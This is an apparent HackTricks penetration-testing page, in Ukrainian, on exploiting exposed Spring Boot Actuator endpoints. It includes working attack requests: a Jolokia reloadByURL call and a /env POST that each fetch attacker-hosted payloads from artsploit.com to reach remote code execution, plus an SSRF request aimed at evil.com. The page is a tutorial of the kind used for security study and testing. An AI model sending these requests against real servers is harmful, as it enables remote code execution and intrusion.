Spring Actuators
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Spring Auth Bypass
.png)
З https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Використання Spring Boot Actuators
Перевірте оригінальний пост з [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Ключові моменти:
- Spring Boot Actuators реєструють кінцеві точки, такі як
/health
,/trace
,/beans
,/env
тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише/health
та/info
за замовчуванням не є чутливими, але розробники часто відключають цю безпеку. - Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
та/heapdump
.- У Spring Boot 1.x, актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом
/actuator/
.
Техніки експлуатації:
- Віддалене виконання коду через '/jolokia':
- Кінцева точка актора
/jolokia
відкриває бібліотеку Jolokia, яка дозволяє HTTP доступ до MBeans. - Дію
reloadByURL
можна експлуатувати для перезавантаження конфігурацій журналювання з зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через спеціально підготовлені XML конфігурації. - Приклад URL для експлуатації:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Модифікація конфігурації через '/env':
- Якщо присутні бібліотеки Spring Cloud, кінцева точка
/env
дозволяє модифікацію властивостей середовища. - Властивості можна маніпулювати для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL.
- Приклад POST запиту для експлуатації:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Інші корисні налаштування:
- Властивості, такі як
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
таspring.datasource.tomcat.max-active
, можна маніпулювати для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
Додаткова інформація:
- Повний список стандартних актюаторів можна знайти тут.
- Кінцева точка
/env
у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж.
Супутні теми:
- Env + H2 RCE:
- Деталі про експлуатацію комбінації кінцевої точки
/env
та бази даних H2 можна знайти тут.
- SSRF на Spring Boot через неправильну інтерпретацію імені шляху:
- Обробка матричних параметрів (
;
) у HTTP іменах шляхів Spring framework може бути використана для Server-Side Request Forgery (SSRF). - Приклад запиту для експлуатації:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.